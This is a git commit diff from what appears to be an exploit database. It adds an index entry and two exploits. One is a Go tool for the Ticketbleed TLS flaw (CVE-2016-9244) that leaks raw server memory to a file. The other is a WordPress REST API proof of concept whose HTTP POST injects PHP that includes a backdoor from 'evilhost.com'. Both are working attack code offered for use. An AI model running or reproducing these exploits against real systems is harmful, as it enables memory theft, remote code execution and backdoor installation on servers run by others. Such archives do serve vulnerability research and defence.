DB: 2017-02-12

1 new exploits WordPress 4.7.0/4.7.1 Plugin Insert PHP - PHP Code Injection
2017-02-12 05:01:16 +00:00 · 2017-02-12 05:01:16 +00:00 · 187fb60098
commit 187fb60098
parent dcc7720ad6
3 changed files with 132 additions and 1 deletions
--- a/files.csv
+++ b/files.csv
@ -37227,3 +37227,4 @@ id,file,description,date,author,platform,type,port
 41306,platforms/php/webapps/41306.txt,"Video Subscription - SQL Injection",2017-02-10,"Ihsan Sencan",php,webapps,0
 41299,platforms/hardware/webapps/41299.html,"D-link DIR-600M - Cross-Site Request Forgery",2017-02-10,"Ajay S. Kulal",hardware,webapps,0
 41307,platforms/php/webapps/41307.txt,"HotelCMS with Booking Engine - SQL Injection",2017-02-10,"Ihsan Sencan",php,webapps,0
+41308,platforms/php/webapps/41308.txt,"WordPress 4.7.0/4.7.1 Plugin Insert PHP - PHP Code Injection",2017-02-09,CrashBandicot,php,webapps,0
--- a/platforms/hardware/remote/41298.txt
+++ b/platforms/hardware/remote/41298.txt
@ -7,6 +7,112 @@
 # Tested on: [Multiple]
 # CVE : [CVE-2016-9244]

-POC:
+
+
+
+BUILD:
+	go get github.com/EgeBalci/Ticketbleed
+	go build Ticketbleed.go
+
+USAGE:
+	./ticketbleed <options> <ip:port>
+OPTIONS:
+	-o, --out 	Output filename for raw memory
+	-s, --size 	Size in bytes to read
+	-h, --help 	Print this message
+
+*/
+package main
+
+import "github.com/EgeBalci/Ticketbleed"
+import "strconv"
+import "strings"
+import "fmt"
+import "os"
+
+
+var OutputFile string = ""
+var BleedSize int = 0
+
+func main() {
+
+
+	ARGS := os.Args[1:]
+	if len(ARGS) < 1 || len(ARGS) > 5{
+		fmt.Println(Help)
+		os.Exit(1)
+	}
+
+  	for i := 0; i < len(ARGS); i++{
+
+		if ARGS[i] == "-h" || ARGS[i] == "--help"{
+			fmt.Println(Help)
+			os.Exit(1)
+	  	}
+
+		if ARGS[i] == "-o" || ARGS[i] == "--out"{
+			OutputFile = ARGS[i+1]
+	  	}
+
+	  	if ARGS[i] == "-s" || ARGS[i] == "--size"{
+	  		Size,err := strconv.Atoi(ARGS[i+1])
+	  		if err != nil {
+	  			fmt.Println("[-] ERROR: Invalid size value !")
+	  			os.Exit(1)
+	  		}
+	  		if Size < 0 {
+	  			fmt.Println("[-] ERROR: Size can't be smaller than 0")
+	  			os.Exit(1)
+	  		}else{
+	  			BleedSize = Size
+	  		}
+	  	}
+ 	}
+
+	if OutputFile != "" {
+		File, FileErr := os.Create(OutputFile)
+		if FileErr != nil {
+			fmt.Println("[-] ERROR: While creating output file !")
+			os.Exit(1)
+		}
+		File.Close()
+		fmt.Println("[*] Output file: "+OutputFile)
+	}
+
+ 	VulnStatus := Ticketbleed.Check(ARGS[0])								// First check if it's vulnerable
+ 	fmt.Println(VulnStatus)
+ 	if strings.Contains(VulnStatus, "[+]") {
+ 		
+ 		go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))  		// With using multiple threads it is easyer to move on stack
+ 		Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))				// Othervise server echoes back alot of duplicate value
+ 	}
+
+}
+
+
+
+var Help string = `
+â–„â–„â–„â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“ â–ˆâ–ˆâ–“ â–„â–ˆâ–ˆâ–ˆâ–ˆâ–„   â–ˆâ–ˆ â–„â–ˆâ–€â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„â–„â–„â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“ â–„â–„â–„â–„    â–ˆâ–ˆâ–“    â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„ 
+â–“  â–ˆâ–ˆâ–’ â–“â–’â–“â–ˆâ–ˆâ–’â–’â–ˆâ–ˆâ–€ â–€â–ˆ   â–ˆâ–ˆâ–„â–ˆâ–’ â–“â–ˆ   â–€â–“  â–ˆâ–ˆâ–’ â–“â–’â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„ â–“â–ˆâ–ˆâ–’    â–“â–ˆ   â–€ â–“â–ˆ   â–€ â–’â–ˆâ–ˆâ–€ â–ˆâ–ˆâ–Œ
+â–’ â–“â–ˆâ–ˆâ–‘ â–’â–‘â–’â–ˆâ–ˆâ–’â–’â–“â–ˆ    â–„ â–“â–ˆâ–ˆâ–ˆâ–„â–‘ â–’â–ˆâ–ˆâ–ˆ  â–’ â–“â–ˆâ–ˆâ–‘ â–’â–‘â–’â–ˆâ–ˆâ–’ â–„â–ˆâ–ˆâ–’â–ˆâ–ˆâ–‘    â–’â–ˆâ–ˆâ–ˆ   â–’â–ˆâ–ˆâ–ˆ   â–‘â–ˆâ–ˆ   â–ˆâ–Œ
+â–‘ â–“â–ˆâ–ˆâ–“ â–‘ â–‘â–ˆâ–ˆâ–‘â–’â–“â–“â–„ â–„â–ˆâ–ˆâ–’â–“â–ˆâ–ˆ â–ˆâ–„ â–’â–“â–ˆ  â–„â–‘ â–“â–ˆâ–ˆâ–“ â–‘ â–’â–ˆâ–ˆâ–‘â–ˆâ–€  â–’â–ˆâ–ˆâ–‘    â–’â–“â–ˆ  â–„ â–’â–“â–ˆ  â–„ â–‘â–“â–ˆâ–„   â–Œ
+  â–’â–ˆâ–ˆâ–’ â–‘ â–‘â–ˆâ–ˆâ–‘â–’ â–“â–ˆâ–ˆâ–ˆâ–€ â–‘â–’â–ˆâ–ˆâ–’ â–ˆâ–„â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’ â–’â–ˆâ–ˆâ–’ â–‘ â–‘â–“â–ˆ  â–€â–ˆâ–“â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–“ 
+  â–’ â–‘â–‘   â–‘â–“  â–‘ â–‘â–’ â–’  â–‘â–’ â–’â–’ â–“â–’â–‘â–‘ â–’â–‘ â–‘ â–’ â–‘â–‘   â–‘â–’â–“â–ˆâ–ˆâ–ˆâ–€â–’â–‘ â–’â–‘â–“  â–‘â–‘â–‘ â–’â–‘ â–‘â–‘â–‘ â–’â–‘ â–‘ â–’â–’â–“  â–’ 
+    â–‘     â–’ â–‘  â–‘  â–’   â–‘ â–‘â–’ â–’â–‘ â–‘ â–‘  â–‘   â–‘    â–’â–‘â–’   â–‘ â–‘ â–‘ â–’  â–‘ â–‘ â–‘  â–‘ â–‘ â–‘  â–‘ â–‘ â–’  â–’ 
+  â–‘       â–’ â–‘â–‘        â–‘ â–‘â–‘ â–‘    â–‘    â–‘       â–‘    â–‘   â–‘ â–‘      â–‘      â–‘    â–‘ â–‘  â–‘ 
+          â–‘  â–‘ â–‘      â–‘  â–‘      â–‘  â–‘         â–‘          â–‘  â–‘   â–‘  â–‘   â–‘  â–‘   â–‘    
+             â–‘                                    â–‘                        â–‘      
+
+Author: Ege Balci
+Github: github.com/EgeBalci
+
+
+USAGE: 
+	./ticketbleed <ip:port> <options> 
+OPTIONS:
+	-o, --out 	Output filename for raw memory
+	-s, --size 	Size in bytes to read
+	-h, --help 	Print this message
+`

 https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41298.zip
--- a/platforms/php/webapps/41308.txt
+++ b/platforms/php/webapps/41308.txt
@ -0,0 +1,24 @@
+# Exploit Title: WordPress 4.7.0/4.7.1 Plugin Insert PHP -  PHP Code Injection
+# Exploit Author: sucuri.net @sucurisecurity
+# Date: 2017-02-09
+# Google Dork : inurl:/wp-content/plugins/insert-php/
+# Vendor Homepage: https://fr.wordpress.org/plugins/insert-php/
+# Tested on: MSWin32
+# Version: <3.3.1
+
+# Explanation : You Can Inject PHP Code INTO Pages via Wordpress REST API Vulnerability 
+
+# PoC :
+POST http://localhost.com/wp-json/wp/v2/posts/1234 HTTP/1.1
+Host: localhost.com
+User-Agent: Xploit
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.8
+Accept-Encoding: gzip,deflate,lzma,sdch
+Connection: keep-alive
+content-type: application/json
+
+{  "id": "1234ffff", "title": "by Hacker", "content": "[insert_php] include('http[:]//evilhost.com/file/backdoor.php'); [/insert_php][php] include('http[:]//evilhost.com/file/backdoor.php'); [/php]" }
+
+
+# Reference : https://blog.sucuri.net/2017/02/rce-attempts-against-the-latest-wordpress-rest-api-vulnerability.html